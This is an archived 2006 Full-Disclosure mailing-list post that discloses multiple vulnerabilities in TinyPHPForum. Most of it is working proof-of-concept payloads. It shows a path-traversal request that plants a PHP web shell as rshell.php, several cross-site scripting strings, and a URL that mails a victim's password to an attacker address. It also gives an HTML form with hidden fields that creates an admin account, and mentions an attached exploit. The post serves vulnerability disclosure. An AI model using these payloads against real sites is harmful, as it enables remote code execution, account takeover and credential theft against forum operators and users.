lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Message-ID: <8ba534860607292144j1088bd32qbb9382a1e64776c6@mail.gmail.com>
Date: Sat, 29 Jul 2006 23:44:52 -0500
From: SirDarckCat <sirdarckcat@...il.com>
To: vuldb@...urityfocus.com, vuln@...unia.com,
	full-disclosure@...ts.grok.org.uk
Cc: 
Subject: TinyPHPForum Multiple Vulnerabilities

TinyPHPForum Multiple Vulnerabilities.
http://sourceforge.net/projects/tinyphpforum/
----------------------------------------------------

TinyPHPForum is a forum based on file handling.

And has shown multiple vulnerabilities in several previous
releases.

Here I present the bugs for the actual version at 29/July


====================================================

Arbitrary File Handling.

Code:
PoC:

http://www.server.com/action.php?action=npost

POST:
fid=../rshell.php%00
tid=<?php system($_GET['c']);?>
txt=tmp
------

Code:
http://www.server.com/split.php?action=split&f=/../rshell.php%00&t=<?phpsystem($_GET['c']);?>&p=<?php
system($_GET['c']);?>
------

====================================================

XSS, even with magic_quotes:

Code:
PoC:
[a]' style='top:epresionje(eval(this.sss));' sss='alert();[/a]
[img]javascript:alert();[/img]
------

XSS.

Code:
PoC:
http://www.server.com/header.php?siteName=<XSS>&title=<XSS>&style=<XSS>
------
Code:
PoC:
http://www.server.com/search.php?query=<XSS>
------

====================================================

Password Disclosure:

Code:
http://www.server.com/error.php?err=200&uname=victim&email=attacker@mail.com
------

====================================================

Admin Maker xD
Code:
PoC:
<FORM action=updatepf.php method=post enctype="multipart/form-data">
NOM:<INPUT name=uname><br>
<INPUT type=file name=userfile><br>
MAIL: <INPUT type=text name=email>
<input type=hidden name=makeadmin value=true>
<input type=hidden name=stat value=true>
<input type=hidden name=ulang value=en>
<input type=hidden name=uskin value=default>
<INPUT type=submit value="Enviar consulta">
</FORM>
------
A working exploit is anexed.

====================================================

Att.

Sirdarckcat
www.elhacker.net


-- 
Att.
SirDarckCat@...il.com

http://www.google.com/search?q=sirdarckcat

Content of type "text/html" skipped

View attachment "tpfexploit.html" of type "text/html" (611 bytes)

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ